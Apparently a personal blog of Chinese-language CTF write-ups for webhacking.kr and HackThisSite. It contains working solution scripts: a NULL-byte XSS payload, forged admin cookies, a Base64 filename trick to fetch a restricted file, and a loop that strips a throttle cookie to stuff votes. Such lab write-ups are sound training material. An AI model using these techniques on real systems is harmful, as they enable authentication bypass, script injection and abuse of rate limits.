Hello Navi

Tech, Security & Personal Notes

Challenge

Cookie 中的数值需要通过服务端的范围判断。

Cookie 数值绕过。

1
https://webhacking.kr/challenge/web-01/

Analysis

源码先检查 user_lv 是否为数字,再把 >= 6 的值重置为 1,最后在 > 5 时调用 solve(1)。因此可接受的区间是 5 < user_lv < 6。小数点没有被数字检查拒绝,所以 5.5 同时满足两次判断。

Solution

对 challenge 路径发送带有完整 Cookie 的请求:

1
2
3
curl --silent --show-error \
--header 'Cookie: user_lv=5.5' \
'https://webhacking.kr/challenge/web-01/'

浏览器操作等价于在 /challenge/web-01/ 的 Cookie 中把 user_lv 改为 5.5,然后重新加载页面。不要把它作为 URL 查询参数发送,因为服务端读取的是 Cookie。

Challenge

Inject a script despite the character filter.

绕过字符过滤注入 script。

1
https://webhacking.kr/challenge/bonus-3/

Analysis

过滤器按字符检查输入,但 NULL byte 会让检查字符串与后续 HTML 解析看到的内容产生差异。将 script 拆成带 %00 的字符序列,可以绕过逐字符过滤,同时让浏览器得到完整标签。

Solution

完整请求脚本如下。PAYLOAD 已经包含 %00,所以脚本直接拼接 query string,避免 HTTP client 把 %00 再编码为字面量 %2500:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-3/index.php"
PAYLOAD = "<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>"

def main() -> None:
response = requests.get(
BASE_URL + "?code=" + PAYLOAD,
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

等价的请求目标是:

1
https://webhacking.kr/challenge/bonus-3/index.php?code=<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>

Challenge

Download the restricted document by encoding its filename.

对文件名编码后下载受限文档。

1
https://webhacking.kr/challenge/web-20/

Analysis

下载参数 down 接受目标文件名的 Base64 表示。将 flag.docx 编码得到 ZmxhZy5kb2N4,服务端因此返回受限 DOCX。DOCX 是 ZIP 容器,正文位于 word/document.xml;读取其中的 <w:t> 节点并按文档顺序拼接,就能还原文本。

Solution

以下脚本完整执行构造 Base64 文件名、下载 DOCX、提取正文的步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from __future__ import annotations

import argparse
import base64
import io
import zipfile
import xml.etree.ElementTree as ET

import requests

WORD_NS = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}"

def extract_text(docx_bytes: bytes) -> str:
with zipfile.ZipFile(io.BytesIO(docx_bytes)) as archive:
xml_bytes = archive.read("word/document.xml")
root = ET.fromstring(xml_bytes)
return "".join(node.text or "" for node in root.iter(WORD_NS + "t"))

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="https://webhacking.kr/challenge/web-20/")
parser.add_argument("--filename", default="flag.docx")
args = parser.parse_args()

encoded_name = base64.b64encode(args.filename.encode("ascii")).decode("ascii")
response = requests.get(args.url, params={"down": encoded_name}, timeout=20)
response.raise_for_status()
print(extract_text(response.content))

if __name__ == "__main__":
main()

Challenge

Reconstruct the per-character MD5 cookie used by the login check.

重建登录校验使用的逐字符 MD5 Cookie。

1
https://webhacking.kr/challenge/js-6/

Analysis

服务端把 userid Cookie 解码后按以下规则生成:对 id 的每个字符单独计算 MD5,保留小写 hex digest,按原顺序拼接,最后对整个拼接字符串做 Base64 编码。Cookie 传输层还要对 Base64 结果做 URL 编码,因为结尾通常含有 =。

这不是 md5("admin"):每个字符的 digest 都必须独立计算,目标字符串的 digest 数量等于字符数量。

Solution

下面的脚本完整构造带 userid Cookie 的 GET 请求,不发送请求,也不依赖现有 session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import hashlib
from urllib.request import Request

URL = "https://webhacking.kr/challenge/js-6/"

def build_userid_cookie(user_id):
digests = [hashlib.md5(char.encode("utf-8")).hexdigest() for char in user_id]
raw_value = "".join(digests).encode("ascii")
base64_value = base64.b64encode(raw_value).decode("ascii")
# Cookie value 不经过 query-string 的 URL encoding;保留 Base64 原值。
return base64_value

def build_request(user_id):
cookie_value = build_userid_cookie(user_id)
return Request(
URL,
headers={"Cookie": f"userid={cookie_value}"},
method="GET",
)

if __name__ == "__main__":
request = build_request("admin")
print(request.full_url)
print(request.get_header("Cookie"))

先生成 Cookie,再把它放进后续页面请求;不需要把 admin 提交到题面的输入框。

Challenge

Accumulate 100 votes while resetting the per-session vote cookie.

累计 100 次投票,并在同一 session 中清除每次投票后设置的 cookie。

1
https://webhacking.kr/challenge/code-5/

Analysis

页面通过 ?hit=<name> 给指定用户增加一次 Hit,并在响应中设置 vote_check=ok,用来阻止同一 session 的连续投票。删除这个 challenge 设置的 cookie 后,可以在同一 session 中再次发送投票请求。

Solution

以下脚本保留同一个 requests.Session,每次投票前删除 vote_check。session-cookie 从环境变量读取,避免把认证值写入文章。目标用户名和请求数量作为参数传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import argparse
import os

import requests

def vote(session: requests.Session, endpoint: str, username: str) -> str:
"""Delete the challenge throttle cookie, then cast one vote."""
session.cookies.pop("vote_check", None)
response = session.get(endpoint, params={"hit": username}, timeout=20)
response.raise_for_status()
return response.text

def main() -> None:
parser = argparse.ArgumentParser(description="Repeat old-32 votes in one session")
parser.add_argument("--base", default="https://webhacking.kr")
parser.add_argument("--user", default="JHsoda10")
parser.add_argument("--count", type=int, default=100)
args = parser.parse_args()

if args.count < 1:
raise SystemExit("--count must be positive")

session = requests.Session()

endpoint = args.base.rstrip("/") + "/challenge/code-5/"
for number in range(1, args.count + 1):
body = vote(session, endpoint, args.user)
print(f"vote {number}/{args.count}: {len(body)} bytes")

if __name__ == "__main__":
main()

单次请求的完整参数形态为:

1
2
GET /challenge/code-5/?hit=JHsoda10
Cookie: session-cookie=<session-cookie>

每次投票前删除 vote_check,直到计数达到 100。

Challenge

Find the value accepted by the JavaScript checker.

找到 JavaScript 检查器接受的值。

1
https://webhacking.kr/challenge/js-1/

Analysis

源码计算:

1
2
3
var ul = document.URL;
ul = ul.indexOf(".kr");
ul = ul * 30;

当前题目 URL 中 .kr 的零基下标为 18,所以检查值为 18 * 30 = 540。通过检查后,脚本把输入值再次相乘并跳转到 ?291600,因为 540 * 540 = 291600。

Solution

在表单中输入 540。也可以直接访问脚本生成的目标路径:

1
https://webhacking.kr/challenge/js-1/?291600

提交生成的查询路径即可完成题目。

Challenge

Evaluate the JavaScript arithmetic expression and submit the result.

计算 JavaScript 算术表达式并提交结果。

1
https://webhacking.kr/challenge/js-4/

Analysis

页面脚本把长算术表达式的结果存入全局变量 unlock。sub() 使用 JavaScript 的 == 比较输入框值和 unlock,相等时跳转到 ? 加上 unlock / 10。因此不需要手工重算表达式,直接在题面上下文中读取已经由 JavaScript 求出的变量即可。

Solution

在 challenge 页面开发者工具的 Console 中运行以下完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(() => {
const input = document.querySelector('input[name="pw"]');
if (!input) {
throw new Error('password input was not found');
}
if (typeof unlock !== 'number' || !Number.isFinite(unlock)) {
throw new Error('unlock is not a finite number');
}

input.value = String(unlock);
if (typeof sub === 'function') {
sub();
} else if (input.form) {
input.form.requestSubmit();
} else {
throw new Error('challenge submit function was not found');
}
})();

这段代码保留题面原本的计算语义,并让题面的 sub() 负责跳转;该跳转的查询值是 unlock / 10。

Challenge

Reverse the repeated Base64 cookie transformation.

逆向还原重复 Base64 编码的 Cookie。

1
https://webhacking.kr/challenge/web-06/

Analysis

服务端先把 Cookie 中的数字替换为特殊字符,再连续 Base64 decode 20 次,只有还原出的 ID/PW 分别为 admin/nimda 时才调用 solve(6)。因此客户端要反向执行同一流程:对目标字符串各做 20 次 Base64 encode,再把 1 到 8 映射为服务端使用的特殊字符。

Solution

下面的脚本完整生成两个 Cookie,并通过 requests.Session 发送请求。没有写入 PHP session ID,服务器若需要会在首次请求时自动建立 session。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import base64
import os
import sys

import requests

URL = os.environ.get(
"OLD06_URL", "https://webhacking.kr/challenge/web-06/"
)
DIGIT_REPLACEMENTS = str.maketrans({
"1": "!",
"2": "@",
"3": "$",
"4": "^",
"5": "&",
"6": "*",
"7": "(",
"8": ")",
})

def encode_cookie(value: str) -> str:
encoded = value.encode("ascii")
for _ in range(20):
encoded = base64.b64encode(encoded)
return encoded.decode("ascii").translate(DIGIT_REPLACEMENTS)

def main() -> int:
cookies = {
"user": encode_cookie("admin"),
"password": encode_cookie("nimda"),
}
with requests.Session() as session:
response = session.get(URL, cookies=cookies, timeout=10)
response.raise_for_status()
print(response.text)
return 0

if __name__ == "__main__":
sys.exit(main())

Cookie 名称必须是 user 和 password,路径必须覆盖 /challenge/web-06/。脚本把数字替换放在最后,正好对应服务端先逆替换、再 decode 的顺序。

Challenge

The page redirects before exposing the intended link.

页面在显示目标链接前就发生了跳转。

1
https://webhacking.kr/challenge/js-2/

Analysis

页面脚本先执行 alert,再把浏览器重定向到根路径,最后才尝试输出目标链接。脚本中的链接目标是当前路径加上 ?getFlag,所以跳转发生前也能从源码直接恢复请求目标。

Solution

用 curl 发送完整请求,避免浏览器端脚本先执行重定向:

1
curl --path-as-is 'https://webhacking.kr/challenge/js-2/?getFlag'

浏览器中也可以直接访问:

1
https://webhacking.kr/challenge/js-2/?getFlag

直接请求生成的查询路径即可完成题目。

Challenge

Level 4 — Parse an XML file

随机生成的 XML 描述若干 Line(XStart/XEnd/YStart/YEnd)与 Arc(XCenter/YCenter/Radius/ArcStart/ArcExtend),可选 Color(blue/green/red/yellow,缺省 white)。绘图后会出现五串字符,按蓝、绿、红、黄、白顺序提交。限时 120 秒。

每次生成的 XML 和答案都不同。解题流程是在同一实例的有效时间内取得 XML、解压并绘制五种颜色的完整图像,再依照 blue,green,red,yellow,white 顺序读取并提交。

Solution

关卡页生成实例,随后 XML 资源位于 /missions/prog/4/XML/。先加载关卡页,再下载压缩数据;直接请求 XML 而没有先加载关卡页时,响应可能只有换行,解析会因缺少 XML 根节点而失败。命令中的 <mission-cookie> 替换为当前会话 Cookie:

1
2
3
$ curl -sL -b '<mission-cookie>' -o /dev/null 'https://www.hackthissite.org/missions/programming/4/'
$ curl -sL -b '<mission-cookie>' -o plotMe.xml.bz2 'https://www.hackthissite.org/missions/prog/4/XML/'
$ bzip2 -dc plotMe.xml.bz2 > plotMe.xml

XML 中的 Line 和 Arc 按 Color 字段归类;缺少 Color 的图元归入 white。坐标按题面 1000×1000 画布绘制,每种颜色单独输出完整画布,不裁剪或拆分字符。PIL 的 y 轴向下,因此对坐标执行 y_screen = 1000 - y。Arc 的边界框为 (XCenter-Radius, 1000-(YCenter+Radius), XCenter+Radius, 1000-(YCenter-Radius)),角度传入 start=-(ArcStart+ArcExtend)、end=-ArcStart。

输出顺序与答案字段顺序一致:01-blue.png、02-green.png、03-red.png、04-yellow.png、05-white.png。完整图保留字符之间的相对位置,按这五张图人工读取。答案是五段以英文逗号分隔的大写十六进制字符串;不同实例间不可复用答案。

这道题可以用机器识别文字的办法或者交给 AI,但给的120秒时间完全足够人力解题了(除非你打字实在太慢)。

复现脚本支持本地 XML、.bz2 文件和 live GET。离线模式仅解压、解析和绘图,不提交答案;依赖 Python Pillow。

1
2
$ cd <ctf-workspace>
$ uv run python /path/to/manual_helper.py --bz2 /path/to/plotMe.xml.bz2 --out /path/to/hts4-manual-test

输出图片位于 hts4-manual-test/colours/。完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# -- coding: utf-8 --
#!/usr/bin/env python3
"""HackThisSite Programming 4 manual-reading assistant.

Modes:
offline: read a saved XML;
live: GET a fresh XML into scratch using HTS_COOKIE.

The script performs only fetch/decompress/parse/render. It never POSTs and never
writes the cookie. It creates five complete colour layers in answer order:
01-blue.png, 02-green.png, 03-red.png, 04-yellow.png, 05-white.png.
Each image keeps the original 1000x1000 canvas and all geometry for that colour.
"""
from __future__ import annotations

import argparse
import bz2
import hashlib
import json
import math
import os
import re
import sys
import time
import xml.etree.ElementTree as ET
from pathlib import Path
from urllib.request import Request, urlopen

from PIL import Image, ImageDraw

BASE = "https://www.hackthissite.org"
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"Chrome/131.0.0.0 Safari/537.36")
ORDER = ("blue", "green", "red", "yellow", "white")
RGB = {
"blue": (0, 0, 255),
"green": (0, 255, 0),
"red": (255, 0, 0),
"yellow": (255, 255, 0),
"white": (255, 255, 255),
}
CANVAS = 1000
SCALE = 4
WIDTH = 2 * SCALE


def fetch_url(url: str, headers: dict[str, str]):
request = Request(url, headers=headers)
with urlopen(request, timeout=20) as response:
return response.read(), dict(response.headers)


def fetch_live(cookie: str, out: Path):
"""Fetch and decompress one instance; cookie is kept only in memory."""
out.mkdir(parents=True, exist_ok=True)
headers = {
"User-Agent": UA,
"Cookie": cookie,
"Referer": BASE + "/missions/programming/",
}
page_bytes, _ = fetch_url(BASE + "/missions/prog/4/", headers)
page_text = page_bytes.decode("utf-8", errors="replace")
links = re.findall(
r'href=["\']([^"\']*prog/4/(?:XML|xml)[^"\']*)',
page_text,
flags=re.I,
)
url = (
BASE + links[0] if links and links[0].startswith("/")
else links[0] if links else BASE + "/missions/prog/4/XML/"
)
if not url.endswith("/"):
url += "/"
packed, response_headers = fetch_url(url, headers)
if packed[:3] != b"BZh":
raise RuntimeError(
"XML endpoint did not return bzip2; "
f"bytes={len(packed)} content_type={response_headers.get('Content-Type')}"
)
raw = bz2.decompress(packed)
xml = out / "instance.xml"
(out / "instance.xml.bz2").write_bytes(packed)
xml.write_bytes(raw)
return xml, url, packed, raw


def local(tag):
return tag.rsplit("}", 1)[-1]


def load_xml(path: Path):
raw = path.read_bytes()
if raw.startswith(b"BZh"):
raw = bz2.decompress(raw)
return ET.fromstring(raw)


def draw_colour(xml: Path, colour: str, dst: Path):
"""Render one complete colour layer on the original 1000x1000 canvas."""
root = load_xml(xml)
image = Image.new("RGB", (CANVAS * SCALE, CANVAS * SCALE), "black")
draw = ImageDraw.Draw(image)
count = 0
for element in root:
kind = local(element.tag)
data = {local(x.tag): (x.text or "").strip() for x in element}
current = (data.get("Color") or "white").lower()
if current != colour:
continue
count += 1
ink = RGB[colour]
if kind == "Line":
x0 = float(data["XStart"]) * SCALE
y0 = (CANVAS - float(data["YStart"])) * SCALE
x1 = float(data["XEnd"]) * SCALE
y1 = (CANVAS - float(data["YEnd"])) * SCALE
draw.line((x0, y0, x1, y1), fill=ink, width=WIDTH)
elif kind == "Arc":
cx = float(data["XCenter"])
cy = float(data["YCenter"])
radius = float(data["Radius"])
start = float(data["ArcStart"])
extend = float(data["ArcExtend"])
box = (
(cx - radius) * SCALE,
(CANVAS - (cy + radius)) * SCALE,
(cx + radius) * SCALE,
(CANVAS - (cy - radius)) * SCALE,
)
draw.arc(box, -(start + extend), -start, fill=ink, width=WIDTH)
image.resize((CANVAS, CANVAS), Image.Resampling.LANCZOS).save(dst)
return count


def render(xml: Path, out: Path):
out.mkdir(parents=True, exist_ok=True)
counts = {}
files = {}
for index, colour in enumerate(ORDER, 1):
dst = out / f"{index:02d}-{colour}.png"
counts[colour] = draw_colour(xml, colour, dst)
files[colour] = str(dst)
return counts, files


def main():
ap = argparse.ArgumentParser()
src = ap.add_mutually_exclusive_group(required=True)
src.add_argument("--xml", type=Path, help="use a saved XML; no network")
src.add_argument("--bz2", type=Path, help="use a saved bzip2 XML; decompress locally")
src.add_argument("--live", action="store_true", help="fetch one fresh XML")
ap.add_argument("--cookie", default=os.environ.get("HTS_COOKIE"),
help="session cookie for --live; never written")
ap.add_argument("--out", type=Path, default=None,
help="output directory; defaults to Hermes scratch")
args = ap.parse_args()
started = time.monotonic()
if args.live:
if not args.cookie:
raise SystemExit("--live requires HTS_COOKIE or --cookie")
out = args.out or Path("hts4-manual-" + str(int(time.time())))
xml, url, packed, raw = fetch_live(args.cookie, out)
else:
out = args.out or Path("hts4-manual-offline")
out.mkdir(parents=True, exist_ok=True)
if args.bz2:
packed = args.bz2.read_bytes()
if packed[:3] != b"BZh":
raise SystemExit(f"not a bzip2 file: {args.bz2}")
raw = bz2.decompress(packed)
xml = out / "instance.xml"
xml.write_bytes(raw)
url = "offline-bz2"
else:
xml = args.xml.resolve()
url, packed, raw = "offline", b"", xml.read_bytes()
counts, files = render(xml, out / "colours")
result = {
"xml": str(xml),
"url": url,
"xml_sha256": hashlib.sha256(raw).hexdigest(),
"bz2_sha256": hashlib.sha256(packed).hexdigest() if packed else None,
"out": str(out),
"colour_dir": str(out / "colours"),
"files": files,
"counts": counts,
"elapsed_s": round(time.monotonic() - started, 3),
"posted": False,
}
(out / "result.json").write_text(
json.dumps(result, indent=2), encoding="utf-8"
)
print(json.dumps(result, indent=2))
print("Read montages in order: " + ",".join(ORDER))


if __name__ == "__main__":
main()